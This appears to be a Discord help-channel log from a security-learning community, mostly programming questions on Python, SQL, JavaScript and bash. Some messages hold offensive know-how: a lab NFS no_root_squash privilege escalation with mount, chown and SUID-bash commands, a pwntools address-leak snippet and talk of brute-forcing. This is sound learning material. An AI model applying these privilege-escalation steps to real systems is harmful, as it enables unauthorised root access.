I have had my fair share of CS by doing some courses and stuff but all they teach there are how to use kali linux not how to develop programs which is kind of sad, and I'm doing Cyber Security as a hobby, so would I able to learn?

#

Like I have experience on couple of programming languages but C++ is my favourite oof.

brazen eagle
#

of course

#

anyone can learn, and as a dev, you may have some interesting insights on how software is coded, and therefore how to break it

lucid sluice
#

I get what you're talking about but I'm talking about using that sense in networking, which is kind of complexed if I'm being honest so I don't know that much about it, I'll take the introduction to security course on this website after I finish doing my 10 days Javascript challenge xd, I'll learn and ask any questions if I stumble upon them xd.

onyx merlin
lucid sluice
#

I see, I am more of research and problem solving orientated guy, I like research more then anything, might become a data scientist in the future instead of soft-ware developer but oh well, glad to know I would adjust, I'm feeling motivated already, thanks a lot for the help y'all.

inland hazel
plain path
#

How does regex in python match up with plain multi-string or comparison? I mean computationally - in terms of performance

#

is regex an overkill if I just need a several if checks

#

if 'something0' or 'something1' or 'something2' in string:
blabla

brazen eagle
#

regex is usually more expensive

#

you may want to use an actual parser though

magic falcon
#

Any kind of lexical analysis is going to be costly

plain path
#

I assume there's tons of libraries in python for parsing all kinds of shit imaginable

#

i'm parsing urls

true pumice
#

Doesn’t python have a built in URL parser?

#

URLlib

plain path
#

right on, thanks

#

Okay so i'm at a point where I am pretty happy with the functionality, but I don't understand why does python wait for the program to end (realistically the webspider will never end as I didn't bother with depth yet and I have regex to filter the direction of the crawler) before writing the output to the output files

#

Does it just buffer a massive output and then flushes it after main exit / CTRL + C?

#

Imagine I let it crawl overnight, then the power goes out in the morning before I wake up. so I actually have zero output on hand after an entire night of crawling. that would be unreliable

#

Is it bad practice to just call .flush() every 100 output lines or something?

#

Will it hinder performance if i'm calling flush after every line? just curious

warm patio
#

Hey Guys I've finished the "Python for Pentesters" course and I'm totally stuck in "Extra challenges" I tried a couple of hours to implement threading in brute-forcing, but everything I've tested dosen't work... could anyone show me the right code with the code in Task 9 ?

visual lintel
#

Anyone here know bash scripting? DM please

clear lodge
#

you're more likely to get a response if you ask the question you have

visual lintel
#

I need to create a bash script with a for loop that cracks recursive zip files using a dictionary or wordlist

clear lodge
#

is it for a homework assignment?

visual lintel
#

Nah

lilac holly
#

i am struggling with few ctf questions which we had in internal team event last week, which is the best place to ask those questions to get help and guidance on

brazen eagle
#

there are also literally thousands of examples on the web

brazen eagle
brazen eagle
#

maybe try to see if a THM walkthrough room exists on the topic

visual lintel
#

numerous zips within zips

brazen eagle
#

break the problem down into steps, what would you need to do first, then second, then third, etc

#

then how would you recurse that properly

brazen eagle
stoic badger
#

this is definitely a CTF challenge on another site iirc 😆

warm patio
frozen shell
#

Hi, I'm trying to learn C++ and Python for exploit development. I am new to programming and want to learn stuff like automating a SQLi using Python etc. I watched Rana Khalils channel on YouTube and she goes beyond finding exploits but actually writes code to automate them. It looks simple enough but just curious where I can learn this type of skill. Does anyone know of any good resources or beginner projects? If so then thank you.

lilac holly
#

I would start with python if you are new to programming. C++ is extremely difficult to learn. Also if you want to go more into expoit stuff I would recommend C instead of C++ which is easier and you can transfer the Knowledge later on to learn C++ if needed. resources are online available. I would recommend taking a udemy course to get you started and than get some good books. You learn a lot more from books and the official documentation than from video courses because you need to think more for yourself. But to get started I think a video course is a good thing.

#

A lot of networking and hardware stuff is written in C not in C++. It´s also closer to the Maschine.

true pumice
#

-ban @glossy pewter putting an IP logger in chat..?

glossy pewter
#

fuck you

wispy kestrelBOT
#

🔨 Banned Arafat#2615 indefinitely

surreal bronze
#

Robocop decided to let him have some last words kekw

brazen eagle
#

I mean if you're going to put an ip logger in chat, at least make an effort to hide it

fallow lily
#

Hi guys 🙂

broken gate
#

lmao

frozen shell
# lilac holly I would start with python if you are new to programming. C++ is extremely diffic...

Thank you, I will check out Udemy. I started with C++ and I really liked the syntax so I decided to learn it along side python. But I feel like I need to learn C/C++ because I am interested in the operating system and exploiting it. I am also interested in web app exploits which is why I want to learn python too. I am half way through C++ for dummies and its actually making a lot of sense to me and isn't that hard. Then I tried to learn Win API and that is where I got majorly stuck.

wispy kestrelBOT
#

Gave +1 Rep to @silver marten

vernal vigil
#

I think most of the web stuff would be written on JS/TS Frameworks so you can lookup on that as well, if you want.

foggy bolt
#

http://fvtcaitp.org/challenges/17/login.html So, Im doing a hacking challenge online where you have to find a hidden key and im at the final level and i am completely blank on what to do with this one. I know for a fact its in the page source code and most likely hidden inside the Ajax jquery/3.4.0/jquery.min.js but i cannot figure it out for the life of me. Can someone give me some advice? I dont want the answer, I wanna answer it myself but id like some resources from someone who might know more than me.

wicked flame
#

I didn't take a look but if you think it's hidden in jquery.min.js then diff the file it's serving to the official jquery.min.js for that version to see what the difference is between the two. Official one hosted here https://code.jquery.com/jquery-3.4.0.min.js

foggy bolt
#

Thanks for that

#

Looks like my guess was wrong and the only thing I can think of is trying to do some injections with burp

brazen eagle
#

Most sane people don't muck around in minified JS vendor code

lavish reef
#

Hey can anyone help with a simple SQL query ?
I've made a new column which is all null, I want to fill that column in with the CONCAT of other two columns.
I can't figure out a query which does it automatically, I don't want to do a query individually for every 15 rows

true pumice
#

CONCAT(column_name1, column_name2) AS column_name;

brazen eagle
#

You figure that would be well documented

final juniper
#

''||column_name1||column_name2 AS column_name

wraith latch
# lavish reef Hey can anyone help with a simple SQL query ? I've made a new column which is a...
WITH column_alias as (SELECT CONCAT(column_name1,column_name2) from table_name)
SELECT columns,
CASE
WHEN null_column IS NULL THEN column_alias
else something
END AS case_alias
from column_alias;

You create an alias using the WITH clause which lets you run a subquery, the subquery will concatenate the 2 columns for you from the table you're selecting it from.
You then select your list of columns you want to display and you add a CASE statement so that if a NULL value is detected in that new column, you can overwrite it with the result from your subquery.
Lastly you select the data from the alias you've created and this behaviour should replicate over all of the rows that are returned.

Excuse the awful formatting, it's been a while

brazen eagle
#

why does that seem more complicated than it needs to be?

wispy kestrelBOT
#

Gave +1 Rep to @wraith latch

lavish reef
#

ill write that down

#

and run the query

#

if you i can supply you with the table

wraith latch
lavish reef
wraith latch
lavish reef
#

its alright!, so if you see the berth_name, im trying to input data in that

brazen eagle
#

I mean, good to do the null check though

lavish reef
#

where the data is just the concatation of pier and number

wraith latch
brazen eagle
#

couldn't you dynamically build that in code?

#

or a stored procedure or something

wraith latch
#

stored procedure is a good shout for sure

brazen eagle
#

I don't know anything about databases, I try to get that stuff abstracted away

lavish reef
#

could do that, i've been googling alot and even tried to create a trigger, but it doesn't work

wraith latch
#

you could have a stored procedure run when a trigger is... well triggered lol

brazen eagle
#

seems like the naming rule isn't too complex, and depends on exactly one table

lavish reef
#

@wraith latch could you try modyfing that query using this picture

#

this picture

#

i've never used CASE and WHEN xD

brazen eagle
#

may need to differentiate between the alias and the table name

wraith latch
#

part of your issue is how I perceived it

#

I thought you meant that your new table contained null values, what I see however is null values everywhere

#

when you select these columns, are you joining any tables?

lavish reef
#

ok so there is only 1 table which i send the picture of.
what i want to do is that combine berth.pier and berth.number (using CONCAT) and then storing that value in the new column I made using ALTER table called berth_name which is VARCHAR(6)

brazen eagle
#

don't see any joins

lavish reef
#

so just combining pier and number columns for each row and inserting them in berth_name which is the new column; BUT to do it automatically in 1 query for all the rows

#

Thats the question ^

wraith latch
#

Is this a homework assignment or something?

lavish reef
#

its an assingment for a course im taking; I wanted to learn SQL injection so i took a Database management class at univeristy

#

and now im stuck with some weird queries which i dont think ill use in SQLi 😂

wraith latch
wraith latch
lavish reef
#

its not a homework, its like elective classes you can take as a part of a club

#

I can do INSERT INTO table_name ..... BUT i'd have to do it for all 15 rows; im looking for a way to do it in 1 query

#

like the query is supposed to "automatically" fill in each row

wraith latch
#

So the question is not formulated right in my opinion

#

It's not specifying whether it wants to you SELECT or INSERT data

lavish reef
#

So it wants us to INSERT data into berth_name (which is a new column)

#

this is the question

wraith latch
#

then my query example will be of no use to oyu

#

because that is selecting data

lavish reef
#

yup!

wraith latch
#

and just manipulating what you see

magic falcon
#

Honestly, this sounds a little too close to home work for me to be comfortable helping you.

#

I would recommend you do some reading from the data base engine documentation to understand the types of queries better.

lavish reef
#

its not a problem @magic falcon , its not graded

magic falcon
brazen eagle
#

this is true

wraith latch
#

For anything SQL related, in order to understand what functions are available I tend to use W3 schools, at this point I'd give you that as advice but I'll have to leave it at that

lavish reef
#

sure makes sense!
It is an assingment for the club course, not an actual university course

wispy kestrelBOT
#

Gave +1 Rep to @wraith latch

brazen eagle
#

probably still best to learn it on your own

lavish reef
#

thanks @brazen eagle @magic falcon

wraith latch
magic falcon
#

the W3 schools material is fine for basic info, but there are difference between the different SQL engines that can cause things to not work as expected. Please read the language documentation published by the RDB engine project - Postgres, MySQL/MariaDB have really excellent documentation, and I'm sure MSSQL has a similar doc.

lavish reef
#

got it, will read those documentations as well

wraith latch
#

@magic falcon I can confirm that MSSQL have got dedicated microsoft docs, have used them in the past

teal escarp
#

Hey guys

#

Should enrich my skill in python for exploitation

#

Or any other languages are required to learn?

true pumice
#

Python is alright

#

But I’d probably say Ruby/ C for exploit writing

#

And JS/ Go for web

magic falcon
onyx merlin
magic falcon
true pumice
onyx merlin
#

@foggy bolt Don't suggest cheating sites, especially completely unsolicited

foggy bolt
#

It's a learning resource and people still learn from it, especially if their instructor is shit.

onyx merlin
lilac holly
#

I have some projects in the python3 but I need to get a little better

viscid shell
#

Hey am trying to write a python script where It will return an md5 hashes that starts with "xxxxx"

#

and i got some errors

#
import re

product = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']

def find_hash():
    x=1
    while True:
        for combo in (product, repeat:=x): 
            possible_hash = hashlib.md5(f"{''.join(combo)}".encode("utf-8")).hexdigest()
            if possible_hash.startswith("1170"): 
                print(f"[+] {''.join(combo)} found with hash '{possible_hash}'.")
                return f"{''.join(combo)}"
        else:
            x +=1

find_hash()```
#

can u help please!

onyx merlin
viscid shell
onyx merlin
#

"combo" is not an iterable

#

What datatype is it?

#

Also that line does way too much. It's hard to read.

viscid shell
onyx merlin
#

I asked what it is

viscid shell
onyx merlin
#

How did you check?

#

Because strings are iterables, so you would not get that error if it was a string

viscid shell
#

but am trying to form a string, why would it take another datatype, where did i mess it up

onyx merlin
#

You can explicitly print out what datatype it is, and you can cast it too

minor zealot
#

you probably want itertools.combinations or similar in your loop.

magic falcon
#

Casting a complex object can give really wild results

onyx merlin
#

for combo in (product, repeat:=x): Python's got wild lately

#

I have genuinely no clue what that does

minor zealot
#

in my python this is just a tuple with 2 entries, the array and x ([' a', 'b', ...], 1) which is not what it is intended to be

onyx merlin
viscid shell
#

I try to not make it complex as it was! thanks for ur help

onyx merlin
#

Problems can be complex, but part of good programming is making it into smaller solvable problems

lilac holly
#

why isnt this working?

#

just hangs

#

when I run the scripts

#

script

onyx merlin
lilac holly
#

yeah

#

it freezes at ssh.connect()

#

scp client is not good

#

ill use the secure file transfer protcool that

#

paramiko has

onyx merlin
lilac holly
#

which I did

onyx merlin
lilac holly
#

someone wrong with ssh

#

thats where it freezes

onyx merlin
lilac holly
#

I know its ftp but secure

onyx merlin
#

So you know it runs over SSH right?

#

So if you can't SSH connect as it is, that problem will still be there

lilac holly
#

well I just tested it

#

it works

#

the ssh works

onyx merlin
#

So it either wasn't freezing at ssh connect, or something has changed in that time. The second is more likely.

lilac holly
#

yeah it was freezing at ssh

#

my linode machine was also acting up

#

so I deleted it

#

and made a new it

#

now

#

one*

onyx merlin
lilac holly
#

cause now it works

onyx merlin
#

Where did this challenge come from?

#

For a job interview?

#

So it is cheating to ask us for help

#

It's trying to assess your abilities, not ours.

#

We don't help people cheat here.

ornate plume
#

Hi everyone, I wonder what is the best practice to save a JWT token? In httpcookie, user might be subjected to CSRF. In session storage, user might be subjected to xss. thanks in advanced

#

I read in stackoverflow about double submit method, which has XSRF token value in JWT claims and check whether it match

onyx merlin
#

You can work around the csrf issue with samesite on the cookies, as best practice, along with csrf tokens etc

hollow sorrel
#

hey guys. i have this list of bad characters and im trying to remove just one from them but im having a hard time doing this
bad_chars = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

#

im trying to automate the bad char part when doing BOF and what im doing right now is asking for an input from the user and then removing it with the replace() function but it seems to not work bc of type error

ornate plume
onyx merlin
#

I've seen XSS in react apps.

ornate plume
#

Seems the token will gone after a refresh?

ornate plume
onyx merlin
#

Defense in depth

ornate plume
#

So, put it on cookies with samesite + utilize csrf token is better than put it on session storage? I won't put the token in javascript state as it is not UX friendly

onyx merlin
#

Better is relative, it's all tradeoffs. Session storage isn't perfect but it's convention. Very smart people will argue either way. Remember, XSS is game over either way because XSS can interact with the dom and click buttons etc

wraith latch
# hollow sorrel hey guys. i have this list of bad characters and im trying to remove just one fr...

In which scripting language are you trying to achieve this? Also just to confirm, you want to search for each of these characters and then remove them?
For example in python you need an object that's iterable --> https://www.w3schools.com/python/python_iterators.asp
I'd imagine you'd then need to write a simple for loop to achieve what you want.

Hope that helps!

ornate plume
wispy kestrelBOT
#

Gave +1 Rep to @onyx merlin

cyan quiver
#

Guyz i need help

magic falcon
#

with what?

hushed mica
#

I'm fiddling with Paramiko, i have a series of commands that generate a TON of output on a very old (RHEL 6.x) type box, but when i use it on a new rhel 7/8/9 box i get an obscure tty error msg. I tried to bypass the msg with a sudo hook , but now i dont get any output

#

I even tried to bypass the tty requirement in /etc/sudoers .. but it still dumped an error

#

could this be !visiblepassword in /etc/sudoers ?

royal willow
#

can someone help me rq with a basic html thing i need to recreate as a homework?

clear lodge
#

not with homework 😔 sry!

royal willow
#

dawm

#

no problem thx either way

wraith latch
#

I think this snippet from the bash man page might help you

${!name[*]}

List of array keys. If name is an array variable, expands to the list of array indices (keys) assigned in name. If name is not an array, expands to 0 if name is set and null otherwise. When @ is used and the expansion appears within double quotes, each key expands to a separate word.```
#
${!output[@]}

This is what you'd be referring to in order to return the index of each entry that you've grepped for

safe wing
#

If I want to make a custom discord bot for myself, does it really matter which language I code it in?

#

I work with Java, but doing research on discord bot development python seems to be the best choice

#

Is it worth picking up a new language just for that? Or java will do just fine?

#

I've built a simple discord bot for my previous game with java that tracked players online, event status, etc and had no problems with it

#

But the bot I want to make now is a bit more complex

true pumice
safe wing
#

JDA seems pretty well documented, I think I'll stick with Java

random kite
#

I might be over thinking the solution here but anyone got any idea for this.
I'm trying to get a python script to combine the similar and replace the BLANK with the opposing value

#

To consolidate it to

magic falcon
fervent monolith
#

is anyone knowlegable with js and async functions and is willing to help me with a problem?

clear lodge
#

what is it for?

fervent monolith
#

based on the fireship one but updated

#

im getting an array of the messages from the database but it requires await

#

so roughly it goes

#

getdata(await getDocs())
arr = getData

#

and the arr is returned as a promise and the code messes up later becasue of this line

clear lodge
#

is it for a job assignment or school or something like that? 😄

fervent monolith
#

just for fun

#

can i dm u photos of the code? i cant send them here

clear lodge
#

please post it here

#

!docs verify

narrow terraceBOT
clear lodge
#

after you verify you can send pics

fervent monolith
#

ok

#

wait i could just copy the code

clear lodge
#

w/e makes it easiest

#

this is not great

#

😄

#
at least use code blocks haha
fervent monolith
#

oh how do i do that

clear lodge
#

triple backtick

fervent monolith
#
 const dummy = useRef();
  const messagesRef = collection(firestore, "messages");
  const qer = query(messagesRef, orderBy("createdAt"), limit(25));
  const [formValue, setFormValue] = useState('');

  const sendMessage = async (e) => {
    e.preventDefault();

    const { uid, photoURL } = auth.currentUser;

     await addDoc(messagesRef, {
      text: formValue,
      createdAt: serverTimestamp(),
      uid,
      photoURL
    });
    
    console.log(formValue)

    setFormValue('');
    dummy.current.scrollIntoView({ behavior: 'smooth' });
    root.render(<App user={auth.currentUser} />)
  }

  const retriveData = async () => {
    const teemp = []
    const snapQ = await getDocs(qer);
    snapQ.forEach((doc) => {
      let tempReply = doc.data();
      tempReply.id = doc.id;
      teemp.push(tempReply);
    })
    return teemp
  }
  let messages = retriveData()

  // const p = Promise.resolve(retriveData())
  // p.then((v) => { 
  //   console.log(v)
  // })
  
  console.log(messages)

  return (<>
    <main>
    {messages.map(msg => <ChatMessage key={msg.id} message={msg} />)}
    </main>

    <span ref={dummy}></span>

    <form onSubmit={sendMessage}>

      <input value={formValue} onChange={(e) => setFormValue(e.target.value)} placeholder="Text Here" />

      <button type="submit" disabled={!formValue}>Send</button>

    </form>
  </>);
clear lodge
#
 const dummy = useRef();
  const messagesRef = collection(firestore, "messages");
  const qer = query(messagesRef, orderBy("createdAt"), limit(25));
  const [formValue, setFormValue] = useState('');

  const sendMessage = async (e) => {
    e.preventDefault();

    const { uid, photoURL } = auth.currentUser;

     await addDoc(messagesRef, {
      text: formValue,
      createdAt: serverTimestamp(),
      uid,
      photoURL
    });
    
    console.log(formValue)

    setFormValue('');
    dummy.current.scrollIntoView({ behavior: 'smooth' });
    root.render(<App user={auth.currentUser} />)
  }

  const retriveData = async () => {
    const teemp = []
    const snapQ = await getDocs(qer);
    snapQ.forEach((doc) => {
      let tempReply = doc.data();
      tempReply.id = doc.id;
      teemp.push(tempReply);
    })
    return teemp
  }
  let messages = retriveData()

  // const p = Promise.resolve(retriveData())
  // p.then((v) => { 
  //   console.log(v)
  // })
  
  console.log(messages)

  return (<>
    <main>
    {messages.map(msg => <ChatMessage key={msg.id} message={msg} />)}
    </main>

    <span ref={dummy}></span>

    <form onSubmit={sendMessage}>

      <input value={formValue} onChange={(e) => setFormValue(e.target.value)} placeholder="Text Here" />

      <button type="submit" disabled={!formValue}>Send</button>

    </form>
  </>);
#

if you do triple backtick followed by javascript it will add some nice syntax highlighting 🙂

fervent monolith
#

ooh cool

#

Uncaught TypeError: messages.map is not a function

#

thats the error message

clear lodge
#

okay

fervent monolith
#

and printing messgaes returns

clear lodge
#

so messages if not the right type is my first thought. You cant map it

fervent monolith
#

Promise {<pending>}
[[Prototype]]: Promise
[[PromiseState]]: "fulfilled"
[[PromiseResult]]: Array(6)

#

its still a promise when map is called

clear lodge
#

let me make sense of your code for a sec

fervent monolith
#

yeah np

clear lodge
#

can you try Array.from(messages).map... just to test for a moment? in a console log or whatever

fervent monolith
#

map() {[native code] }

clear lodge
#

no type error?

fervent monolith
#

i know its an issue with the fact the async function isnt finished running before the code in the html is called

#

and message is still a promise rather than an array

#

cuz if i print teemp inside the function, it prints just fine

clear lodge
#

then try to use await

fervent monolith
#

thats the issue is i cant

#

cuz the function is a react component

clear lodge
#

have you checked options in the react comp lifecycles? componentDidMount and such

fervent monolith
#

the retrievedata needs to be async becasue of the await on getDocs, but that makes it so messages isnt an array before the map is called on it

#
let messages = retriveData()
clear lodge
#

see if this can help you

magic falcon
#

@fervent monolith I deleted that wall of text. Please use code blocks or verify your THM account to post screenshots.

fervent monolith
#

yeah i was told

#

sorry about that

devout mantle
#

Does anyone know a good place to practice python programming? Not sure if I asked here

inland hazel
devout mantle
wispy kestrelBOT
#

Gave +1 Rep to @inland hazel

inland hazel
#

no problems

clear lodge
#

top right

devout mantle
#

Thank you I forgot

clear lodge
random kite
#

😄

lilac holly
#

def createZIP():
    fileList = []
    
    print(f'''

    ----- Password Protected ZIP Creator -----

    Example of ZIP name - test.zip
    

        ''')
    print("Name of zip file to be created?")
    zipFileName = input("> ")
    print("Name of password for your zip file?")
    passwordFile = input("> ")
    if not zipFileName.endswith(".zip"):
        print("Only enter .zip at the end of the file")
        createZIP()
    FilesToBeTransfered = input(f"Amount of files to transfer to {zipFileName}:")

    if int(FilesToBeTransfered.strip()) == 1:
        print("Enter the file path.")
        OneFilePath = input("> ")
        pyminizip.compress(OneFilePath, None, zipFileName, passwordFile, 5)
        print(f"ZIP File has been succesfully created.")
        createZIP()
    else:
        for fileNames in range(int(FilesToBeTransfered)):
            files = input(f"FILE NAME-{fileNames}>")
            fileList.append(files)

        #for y in range(int(FilesToBeTransfered)):
        #pyminizip.compress(fileList[0], None, zipFileName, passwordFile, 5)
        print("Created Zip. Now sending files.")

        #for y in range(int(FilesToBeTransfered) - 1):
        #zipfile.setpassword(pwd=passwordFile)
        for file in fileList:
            pyminizip.compress(file, None, zipFileName, passwordFile, 5)
        print("File Transfer Completed. ZIP has been created.")



#

I'm having some trouble with

#

creating a password protected zip file

#

with multiple files

#

and it's all from user input

#

If it wasn't from user input it would have been much easier

#

but I have tried a lot of things see if I can fix this but

#

the output to this just gives me testing.zip

#

with a file of test2.txt

#

I put 2 files to transfer

#

test1.txt

#

test2.txt

#

The for loop at the end overwrites the file

#

pzminizip says you can compress multiple files

#

but

#

pyminizip.compress_multiple([u'pyminizip.so', 'file2.txt'], [u'/path_for_file1', u'/path_for_file2'], "file.zip", "1233", 4, progress)

#

I don't know how I would do that if it was from user input only

#

I would have to manually add the files everytime which I don't want to do

onyx merlin
onyx merlin
#

Create. Assemble. Produce.

lilac holly
#

I'm only looping through the list

onyx merlin
#

Oh. Just pass that list...

lilac holly
#

?

lilac holly
#

Would this be good?

onyx merlin
#

Does it work?

lilac holly
#

Let me test it

onyx merlin
#

Test before asking.

surreal bronze
lilac holly
onyx merlin
#

Ooh yay, you've cropped 90% of the useful info out of that

onyx merlin
lilac holly
#

I passed in the array of files

onyx merlin
#

I don't have the docs, but you do

lilac holly
#

No, I don't

#

because pyminizip

onyx merlin
#

Then read the docs for the library.

lilac holly
#

doesn't have docs

true pumice
onyx merlin
#

This literally has examples of how to do a multi file with a list

#

In the readme

lilac holly
onyx merlin
#

Mate

#

They're the same thing

true pumice
#

-mute @lilac holly This is your official warning. We’re not here to do the googling for you.

I’m getting a little fed up of the amount of times I see you not researching for yourself and instead using our community.

Keep this up and you’re going to lose access to all the help channels

wispy kestrelBOT
#

🔇 Muted diaralb#3487 for 1 day

onyx merlin
#

You should know how to use variables

nova berry
#

Cheers, I have an issue I came across on Task 11 of room Linux Privilege Escalation. I eventually managed to complete it and this is why I'm not posting it in #room-help. I'm also not 100% sure if the question is suited for this channel but I cannot think of a better one. It's also a longish text. With that said here it goes.

The task involved creating a binary to be owned and SUID by root and placed in an NFS mount with no-root-squash set. Since gcc was not installed on the target machine, I did the compilation of the small c program on my Kali machine (see image personal_attacking_host_1.png). Then I tried to run the binary on the target machine but got an error showing an incompatibility with the libc versions. The target machine has version 2.31 (see image target_1.png) and my Kali machine has 2.34 (see image personal_attacking_host_2.png that confirms this information).

Since this was leading nowhere I decided to check the libc version on the THM AttackBox. It has version 2.27 which, albeit lower, is also different from the one on the target. Nevertheless, I tried it anyway (see image thm-AttackBox.png).

Curiously enough it worked... (see image target_2.png).

Does anyone know why the version linked to libc version 2.27 works on a machine with version 2.31 but if linked with version 2.34 it doesn't work?

PS. I also thought of compiling the code with a static libc but didn't manage to have a good outcome. Since the target machine doesn't seem to have the static version of libc available (i.e., libc.a) I first tried to link libc version 2.34 statically on my Kali machine but the result was a disastrous core dump... 🙂 Then I also tried to download the source code of libc version 2.31 but didn't manage to compile it and that's when out of desperation I tried to use the THM AttackBox to compile the code.

wicked flame
#

dynamic linking on linux systems tends to support backwards compatibility but not forward compatibility which is why the older 2.27 linked build worked for you but not the newer one

nova berry
wispy kestrelBOT
#

Gave +1 Rep to @wicked flame

brazen eagle
#

And then set the permissions locally while it's mounted

#

Using the local root

#

But your way is cool too

#

You can also use static compilation to avoid library version errors

nova berry
# brazen eagle I am 100% certain you overthought that. Most people will simply copy the bash th...

I tried that but it didn't work. Here is what I did.
First using the provided foothold account which doesn't have any sudo rights:

$ sudo -l [sudo] password for karen: Sorry, user karen may not run sudo on ip-10-10-227-17. $ cat /etc/exports | grep no_root_squash /home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check) /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check) /home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check) $ cd /tmp $ pwd /tmp $ which bash /usr/bin/bash $ cp /usr/bin/bash . $ ls -l bash -rwxr-xr-x 1 karen karen 1183448 Oct 14 21:14 bash

I picked the /tmp NFS export and on the attack side:

`# whoami
root

mount -o rw 10.10.227.17:/tmp /tmp/nfsmount

cd /tmp/nfsmount

ls -l bash

-rwxr-xr-x 1 1001 piavpn 1183448 Oct 14 23:14 bash

chown root:root bash

chmod +s bash

ls -l bash

-rwsr-sr-x 1 root root 1183448 Oct 14 23:14 bash`

Back on the target:

$ ls -l bash -rwsr-sr-x 1 root root 1183448 Oct 14 21:14 bash $ ./bash bash-5.0$ whoami karen

No dice... 😦
I also tried to change the shell UID and EUID to 0 (root) but it didn't work either:

bash-5.0$ set | grep UID EUID=1001 UID=1001 bash-5.0$ exit exit $ export UID=0 $ export EUID=0 $ ./bash bash-5.0$ whoami karen

#

So, what have I missed?

nova berry
whole yacht
#

tell bash to not drop permissions once you execute it

nova berry
wispy kestrelBOT
#

Gave +1 Rep to @whole yacht

whole yacht
#

you're welcome 🥳

nova berry
# brazen eagle But your way is cool too

Thanks! I was not innovating though; I just followed the room where they explain the process with some c code. But I really learned a few things in this room.

brazen eagle
#

fair, but it was overthinking a bit 😉

fading lark
#
random @ 0x55d1fa342352
ELF base @ 0x55d1fa340000
daily_slots global: 0x4180
ELF base @ 0x55d1fa340000
#
random_addr = leak_long_offset(date, -16)
print("random @", hex(random_addr))
e.addr = random_addr - 0x2352
print("ELF base @", hex(e.addr))
print("daily_slots global:", hex(e.sym.daily_slots))
print("ELF base:", hex(leak_address(e.addr)))
print("printf @", hex(leak_address(e.got.printf, long=True)))
#

why doesn't setting e.addr influence e.sym.daily_slots?

#

should be noted that e.sym.daily_slots is a static var

#

oh

#

should be e.address

#

I hate this

#

I hate everything

#

I hate binexp

shadow rover
#

Hey all, I am working thru the OSCP workbook, and am getting stumped left and right trying to code what i thought would be a straight foward bash script. The goal is to make a scirpt that will check both /ect/passwd, and /etc/group, to validate the user is on the system. and example output of the script can be veiwed here https://paste.offsec.com/?3dda5da97453cd44#egN3k/brnJLqhUr+Oe/L0DTOhfHfW5HF+IcoMmk4oeI= and this is where I have gotten with the script. the tf, and tf2 variable's I am hoping will store the exit code of grep, so it can be used in the elif statment to echo the result. https://paste.offsec.com/?d21648f12d015229#NcjzPSuJigtm5s5xne58d0+KyvdoWbZEGlBrxCFG36M=

honest sequoia
#

Hi guys, I've been studying C and C++ this year, and recently I had the desire to learn about malware development, how it work and how to develop basics malwares. But I didn't find a real learning path or resources. Somebody can give me tips and resources where can I find util an updated information about this? Thank you so much!.

magic falcon
stoic badger
#

Also what juun said

heady elk
#

can someone help me doing this code in c++ no idea how to do it thx in advance

Create a program that will initialize 5 variables of any data type. 3 of the variables should be
global and 2 should be local. Provide your code and output.

heady elk
onyx merlin
#

Please go and ask your teacher

#

We do not do homework help here.

heady elk
heady elk
#

thanks

onyx merlin
wicked flame
junior jackal
#

what is a good place to start to learn on to tryhack me ?